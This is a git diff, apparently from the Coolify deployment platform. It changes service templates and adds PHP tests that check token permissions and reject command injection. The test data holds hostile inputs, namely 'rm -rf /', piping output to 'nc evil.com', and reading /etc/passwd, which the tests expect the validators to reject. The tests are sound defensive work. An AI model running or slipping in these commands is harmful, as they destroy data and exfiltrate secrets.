CAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVpZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80, 8443"
- },
"qbittorrent": {
"documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io",
"slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.",
@@ -4404,6 +4331,25 @@
"minversion": "0.0.0",
"port": "8989"
},
+ "spacebot": {
+ "documentation": "https://docs.spacebot.sh/docker?utm_source=coolify.io",
+ "slogan": "An agentic AI system with specialized processes for thinking, working, and remembering.",
+ "compose": "c2VydmljZXM6CiAgc3BhY2Vib3Q6CiAgICBpbWFnZTogJ2doY3IuaW8vc3BhY2Vkcml2ZWFwcC9zcGFjZWJvdDpmdWxsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1NQQUNFQk9UXzE5ODk4CiAgICAgIC0gJ0FOVEhST1BJQ19BUElfS0VZPSR7QU5USFJPUElDX0FQSV9LRVl9JwogICAgICAtICdPUEVOQUlfQVBJX0tFWT0ke09QRU5BSV9BUElfS0VZfScKICAgICAgLSAnT1BFTlJPVVRFUl9BUElfS0VZPSR7T1BFTlJPVVRFUl9BUElfS0VZfScKICAgICAgLSAnRElTQ09SRF9CT1RfVE9LRU49JHtESVNDT1JEX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0JPVF9UT0tFTj0ke1NMQUNLX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0FQUF9UT0tFTj0ke1NMQUNLX0FQUF9UT0tFTn0nCiAgICAgIC0gJ0JSQVZFX1NFQVJDSF9BUElfS0VZPSR7QlJBVkVfU0VBUkNIX0FQSV9LRVl9JwogICAgICAtICdTUEFDRUJPVF9DSEFOTkVMX01PREVMPSR7U1BBQ0VCT1RfQ0hBTk5FTF9NT0RFTH0nCiAgICAgIC0gJ1NQQUNFQk9UX1dPUktFUl9NT0RFTD0ke1NQQUNFQk9UX1dPUktFUl9NT0RFTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzcGFjZWJvdC1kYXRhOi9kYXRhJwogICAgc2VjdXJpdHlfb3B0OgogICAgICAtIHNlY2NvbXA9dW5jb25maW5lZAogICAgc2htX3NpemU6IDFnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1zZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjE5ODk4L2FwaS9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwo=",
+ "tags": [
+ "ai",
+ "agent",
+ "anthropic",
+ "openai",
+ "discord",
+ "slack",
+ "llm",
+ "agentic"
+ ],
+ "category": "ai",
+ "logo": "svgs/spacebot.png",
+ "minversion": "0.0.0",
+ "port": "19898"
+ },
"sparkyfitness": {
"documentation": "https://codewithcj.github.io/SparkyFitness/?utm_source=coolify.io",
"slogan": "SparkyFitness is a comprehensive fitness tracking and management application designed to help users monitor their nutrition, exercise, and body measurements. It provides tools for daily progress tracking, goal setting, and insightful reports to support a healthy lifestyle.",
@@ -4548,6 +4494,22 @@
"minversion": "0.0.0",
"port": "3567"
},
+ "sure": {
+ "documentation": "https://github.com/we-promise/sure?utm_source=coolify.io",
+ "slogan": "An all-in-one personal finance platform.",
+ "compose": "c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6ICdnaGNyLmlvL3dlLXByb21pc2Uvc3VyZTowLjYuNycKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9TVVJFXzMwMDAKICAgICAgLSBBUFBfRE9NQUlOPSRTRVJWSUNFX0ZRRE5fU1VSRQogICAgICAtIFNFQ1JFVF9LRVlfQkFTRT0kU0VSVklDRV9CQVNFNjRfQkFTRQogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotc3VyZX0nCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL3ZhbGtleTo2Mzc5JwogICAgICAtIERCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSBSQUlMU19GT1JDRV9TU0w9ZmFsc2UKICAgICAgLSBSQUlMU19BU1NVTUVfU1NMPWZhbHNlCiAgICAgIC0gJ09OQk9BUkRJTkdfU1RBVEU9JHtPTkJPQVJESU5HX1NUQVRFOi1vcGVufScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgdmFsa2V5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICB2b2x1bWVzOgogICAgICAtICdzdXJlLWFwcC1zdG9yYWdlOi9yYWlscy9zdG9yYWdlJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiAxNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDUKICB3b3JrZXI6CiAgICBpbWFnZTogJ2doY3IuaW8vd2UtcHJvbWlzZS9zdXJlOjAuNi43JwogICAgY29tbWFuZDogJ2J1bmRsZSBleGVjIHNpZGVraXEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBBUFBfRE9NQUlOPSRTRVJWSUNFX0ZRRE5fU1VSRQogICAgICAtIFNFQ1JFVF9LRVlfQkFTRT0kU0VSVklDRV9CQVNFNjRfQkFTRQogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotc3VyZX0nCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL3ZhbGtleTo2Mzc5JwogICAgICAtIERCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSBSQUlMU19GT1JDRV9TU0w9ZmFsc2UKICAgICAgLSBSQUlMU19BU1NVTUVfU1NMPWZhbHNlCiAgICAgIC0gJ09OQk9BUkRJTkdfU1RBVEU9JHtPTkJPQVJESU5HX1NUQVRFOi1vcGVufScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtYXBwLXN0b3JhZ2U6L3JhaWxzL3N0b3JhZ2UnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHZhbGtleToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiAxNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDUKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXJlLXBvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU1FMfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTUUxfREFUQUJBU0U6LXN1cmV9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHZhbGtleToKICAgIGltYWdlOiAndmFsa2V5L3ZhbGtleTo4LWFscGluZScKICAgIGNvbW1hbmQ6ICd2YWxrZXktc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXJlLXZhbGtleTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAndmFsa2V5LWNsaSBwaW5nIHwgZ3JlcCBQT05HJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQogICAgICBzdGFydF9wZXJpb2Q6IDNzCg==",
+ "tags": [
+ "budgeting",
+ "budget",
+ "money",
+ "expenses",
+ "income"
+ ],
+ "category": "finance",
+ "logo": "svgs/sure.png",
+ "minversion": "0.0.0",
+ "port": "3000"
+ },
"swetrix": {
"documentation": "https://docs.swetrix.com/selfhosting/how-to?utm_source=coolify.io",
"slogan": "Privacy-friendly and cookieless European web analytics alternative to Google Analytics.",
diff --git a/tests/Browser/screenshots/.gitignore b/tests/Browser/screenshots/.gitignore
deleted file mode 100644
index d6b7ef32c..000000000
--- a/tests/Browser/screenshots/.gitignore
+++ /dev/null
@@ -1,2 +0,0 @@
-*
-!.gitignore
diff --git a/tests/Feature/ApiTokenPermissionTest.php b/tests/Feature/ApiTokenPermissionTest.php
new file mode 100644
index 000000000..44efb7e06
--- /dev/null
+++ b/tests/Feature/ApiTokenPermissionTest.php
@@ -0,0 +1,75 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ session(['currentTeam' => $this->team]);
+});
+
+describe('POST /api/v1/projects', function () {
+ test('read-only token cannot create a project', function () {
+ $token = $this->user->createToken('read-only', ['read']);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$token->plainTextToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson('/api/v1/projects', [
+ 'name' => 'Test Project',
+ ]);
+
+ $response->assertStatus(403);
+ });
+
+ test('write token can create a project', function () {
+ $token = $this->user->createToken('write-token', ['write']);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$token->plainTextToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson('/api/v1/projects', [
+ 'name' => 'Test Project',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonStructure(['uuid']);
+ });
+
+ test('root token can create a project', function () {
+ $token = $this->user->createToken('root-token', ['root']);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$token->plainTextToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson('/api/v1/projects', [
+ 'name' => 'Test Project',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonStructure(['uuid']);
+ });
+});
+
+describe('POST /api/v1/servers', function () {
+ test('read-only token cannot create a server', function () {
+ $token = $this->user->createToken('read-only', ['read']);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$token->plainTextToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson('/api/v1/servers', [
+ 'name' => 'Test Server',
+ 'ip' => '1.2.3.4',
+ 'private_key_uuid' => 'fake-uuid',
+ ]);
+
+ $response->assertStatus(403);
+ });
+});
diff --git a/tests/Feature/ApplicationHealthCheckApiTest.php b/tests/Feature/ApplicationHealthCheckApiTest.php
new file mode 100644
index 000000000..8ccb7c639
--- /dev/null
+++ b/tests/Feature/ApplicationHealthCheckApiTest.php
@@ -0,0 +1,120 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ session(['currentTeam' => $this->team]);
+
+ $this->token = $this->user->createToken('test-token', ['*']);
+ $this->bearerToken = $this->token->plainTextToken;
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+
+ StandaloneDocker::withoutEvents(function () {
+ $this->destination = StandaloneDocker::firstOrCreate(
+ ['server_id' => $this->server->id, 'network' => 'coolify'],
+ ['uuid' => (string) new Cuid2, 'name' => 'test-docker']
+ );
+ });
+
+ $this->project = Project::create([
+ 'uuid' => (string) new Cuid2,
+ 'name' => 'test-project',
+ 'team_id' => $this->team->id,
+ ]);
+
+ // Project boot event auto-creates a 'production' environment
+ $this->environment = $this->project->environments()->first();
+
+ $this->application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+});
+
+function healthCheckAuthHeaders($bearerToken): array
+{
+ return [
+ 'Authorization' => 'Bearer '.$bearerToken,
+ 'Content-Type' => 'application/json',
+ ];
+}
+
+describe('PATCH /api/v1/applications/{uuid} health check fields', function () {
+ test('can update health_check_type to cmd with a command', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'pg_isready -U postgres',
+ ]);
+
+ $response->assertOk();
+
+ $this->application->refresh();
+ expect($this->application->health_check_type)->toBe('cmd');
+ expect($this->application->health_check_command)->toBe('pg_isready -U postgres');
+ });
+
+ test('can update health_check_type back to http', function () {
+ $this->application->update([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'redis-cli ping',
+ ]);
+
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'http',
+ 'health_check_command' => null,
+ ]);
+
+ $response->assertOk();
+
+ $this->application->refresh();
+ expect($this->application->health_check_type)->toBe('http');
+ expect($this->application->health_check_command)->toBeNull();
+ });
+
+ test('rejects invalid health_check_type', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'exec',
+ ]);
+
+ $response->assertStatus(422);
+ });
+
+ test('rejects health_check_command with shell operators', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'pg_isready; rm -rf /',
+ ]);
+
+ $response->assertStatus(422);
+ });
+
+ test('rejects health_check_command over 1000 characters', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => str_repeat('a', 1001),
+ ]);
+
+ $response->assertStatus(422);
+ });
+});
diff --git a/tests/Feature/CaCertificateCommandInjectionTest.php b/tests/Feature/CaCertificateCommandInjectionTest.php
new file mode 100644
index 000000000..fffa28d6a
--- /dev/null
+++ b/tests/Feature/CaCertificateCommandInjectionTest.php
@@ -0,0 +1,93 @@
+user = User::factory()->create();
+ $this->team = Team::factory()->create();
+ $this->user->teams()->attach($this->team, ['role' => 'owner']);
+ $this->actingAs($this->user);
+ session(['currentTeam' => $this->team]);
+
+ $this->server = Server::factory()->create([
+ 'team_id' => $this->team->id,
+ ]);
+});
+
+function generateSelfSignedCert(): string
+{
+ $key = openssl_pkey_new(['private_key_bits' => 2048]);
+ $csr = openssl_csr_new(['CN' => 'Test CA'], $key);
+ $cert = openssl_csr_sign($csr, null, $key, 365);
+ openssl_x509_export($cert, $certPem);
+
+ return $certPem;
+}
+
+test('saveCaCertificate sanitizes injected commands after certificate marker', function () {
+ $validCert = generateSelfSignedCert();
+
+ $caCert = SslCertificate::create([
+ 'server_id' => $this->server->id,
+ 'is_ca_certificate' => true,
+ 'ssl_certificate' => $validCert,
+ 'ssl_private_key' => 'test-key',
+ 'common_name' => 'Coolify CA Certificate',
+ 'valid_until' => now()->addYears(10),
+ ]);
+
+ // Inject shell command after valid certificate
+ $maliciousContent = $validCert."' ; id > /tmp/pwned ; echo '";
+
+ Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
+ ->set('certificateContent', $maliciousContent)
+ ->call('saveCaCertificate')
+ ->assertDispatched('success');
+
+ // After save, the certificate should be the clean re-exported PEM, not the malicious input
+ $caCert->refresh();
+ expect($caCert->ssl_certificate)->not->toContain('/tmp/pwned');
+ expect($caCert->ssl_certificate)->not->toContain('; id');
+ expect($caCert->ssl_certificate)->toContain('-----BEGIN CERTIFICATE-----');
+ expect($caCert->ssl_certificate)->toEndWith("-----END CERTIFICATE-----\n");
+});
+
+test('saveCaCertificate rejects completely invalid certificate', function () {
+ SslCertificate::create([
+ 'server_id' => $this->server->id,
+ 'is_ca_certificate' => true,
+ 'ssl_certificate' => 'placeholder',
+ 'ssl_private_key' => 'test-key',
+ 'common_name' => 'Coolify CA Certificate',
+ 'valid_until' => now()->addYears(10),
+ ]);
+
+ Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
+ ->set('certificateContent', "not-a-cert'; rm -rf /; echo '")
+ ->call('saveCaCertificate')
+ ->assertDispatched('error');
+});
+
+test('saveCaCertificate rejects empty certificate content', function () {
+ SslCertificate::create([
+ 'server_id' => $this->server->id,
+ 'is_ca_certificate' => true,
+ 'ssl_certificate' => 'placeholder',
+ 'ssl_private_key' => 'test-key',
+ 'common_name' => 'Coolify CA Certificate',
+ 'valid_until' => now()->addYears(10),
+ ]);
+
+ Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
+ ->set('certificateContent', '')
+ ->call('saveCaCertificate')
+ ->assertDispatched('error');
+});
diff --git a/tests/Feature/CmdHealthCheckValidationTest.php b/tests/Feature/CmdHealthCheckValidationTest.php
new file mode 100644
index 000000000..038f3000e
--- /dev/null
+++ b/tests/Feature/CmdHealthCheckValidationTest.php
@@ -0,0 +1,90 @@
+ str_repeat('a', 1001)],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => 'pg_isready -U postgres'],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
+it('accepts null healthCheckCommand', function () use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => null],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
+it('accepts simple commands', function ($command) use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => $command],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeFalse();
+})->with([
+ 'pg_isready -U postgres',
+ 'redis-cli ping',
+ 'curl -f http://localhost:8080/health',
+ 'wget -q -O- http://localhost/health',
+ 'mysqladmin ping -h 127.0.0.1',
+]);
+
+it('rejects commands with shell operators', function ($command) use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => $command],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeTrue();
+})->with([
+ 'pg_isready; rm -rf /',
+ 'redis-cli ping | nc evil.com 1234',
+ 'curl http://localhost && curl http://evil.com',
+ 'echo $(whoami)',
+ 'cat /etc/passwd > /tmp/out',
+ 'curl `whoami`.evil.com',
+ 'cmd & background',
+ 'echo "hello"',
+ "echo 'hello'",
+ 'test < /etc/passwd',
+ 'bash -c {echo,pwned}',
+ 'curl http://evil.com#comment',
+ 'echo $HOME',
+ "cmd\twith\ttabs",
+ "cmd\nwith\nnewlines",
+]);
+
+it('rejects invalid healthCheckType', function () {
+ $validator = Validator::make(
+ ['healthCheckType' => 'exec'],
+ ['healthCheckType' => 'string|in:http,cmd']
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('accepts valid healthCheckType values', function ($type) {
+ $validator = Validator::make(
+ ['healthCheckType' => $type],
+ ['healthCheckType' => 'string|in:http,cmd']
+ );
+
+ expect($validator->fails())->toBeFalse();
+})->with(['http', 'cmd']);
diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php
new file mode 100644
index 000000000..47e9f3b35
--- /dev/null
+++ b/tests/Feature/CommandInjectionSecurityTest.php
@@ -0,0 +1,276 @@
+getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, '/Dockerfile; echo pwned', 'dockerfile_location'))
+ ->toThrow(RuntimeException::class, 'contains forbidden characters');
+ });
+
+ test('rejects backtick injection', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, '/Dockerfile`whoami`', 'dockerfile_location'))
+ ->toThrow(RuntimeException::class, 'contains forbidden characters');
+ });
+
+ test('rejects dollar sign variable expansion', function () {
+ $job = new ReflectionClass(ApplicationDeploymentJob::class);
+ $method = $job->getMethod('validatePathField');
+ $method->setAccessible(true);
+
+ $instance = $job->newInstanceWithoutConstructor();
+
+ expect(fn () => $method->invoke($instance, '/Dockerfile$(whoami)', 'dockerfile_location'))
+ ->toThrow(RuntimeException::class, 'contains forbidden characters');
